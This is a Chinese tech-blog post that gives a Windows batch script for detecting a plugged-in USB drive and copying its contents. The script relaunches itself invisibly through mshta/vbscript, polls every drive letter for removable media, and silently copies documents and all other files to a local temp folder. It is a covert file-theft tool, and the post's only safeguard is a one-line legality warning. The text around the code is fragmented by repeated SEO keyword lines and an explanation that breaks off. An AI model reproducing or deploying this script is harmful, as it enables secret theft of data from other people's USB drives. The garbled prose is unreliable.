解决方法:使用批处理文件检测USB磁盘并将其复制

电脑杂谈  发布时间:2020-10-31 19:03:15  来源:网络整理

u盘批处理_批处理获取u盘盘符_禁用u盘批处理

警告:未经他人同意使用此方法窃取数据是非法的

参考:

判断是否已插入USB闪存盘

u盘批处理_批处理获取u盘盘符_禁用u盘批处理

其他

关于xcopy:

关于连接器:

批处理获取u盘盘符_u盘批处理_禁用u盘批处理

%20%26%26%20%D7%F6%C5%D0%B6%CF

源代码

u盘批处理_禁用u盘批处理_批处理获取u盘盘符

if "%1"=="hide" goto CmdBegin
start mshta vbscript:createobject("wscript.shell").run("""%~0"" hide",0)(window.close)&&exit
:CmdBegin 
echo off
:scan
for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
	fsutil fsinfo drivetype %%i: | findstr /i "可移动驱动器" >nul 2>nul && set find=1
	if defined find (
	xcopy %%i:\*.ppt  C:\Users\temp\%%i /i/c/y/s
	xcopy %%i:\*.pdf  C:\Users\temp\%%i /i/c/y/s 
	xcopy %%i:\*.doc  C:\Users\temp\%%i /i/c/y/s 
	xcopy %%i:\*.*  C:\Users\temp\%%i /i/c/y/s
	goto end
	)
)
goto scan
:end

在编程过程中使用C语言是理所当然的想法,定义一个变量来设置状态更改

for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
	fsutil fsinfo drivetype %%i: | findstr /i "可移动驱动器" >nul 2>nul && set fifnd=1
	set fifnd=1
	if %fifnd% == 1 (echo %%i)
)

u盘批处理_禁用u盘批处理_批处理获取u盘盘符

这是错误的

因为

u盘批处理

u盘批处理


本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/sanxing/article-329946-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      • 禹姒文命
        禹姒文命

        除非对方并不是通过而是在上面逗留或作出危害你家安全的事情

      • 安又琪
        安又琪

        真是叫兽啊

      • 赵波
        赵波

        是劣币驱逐良币

      热点图片
      拼命载入中...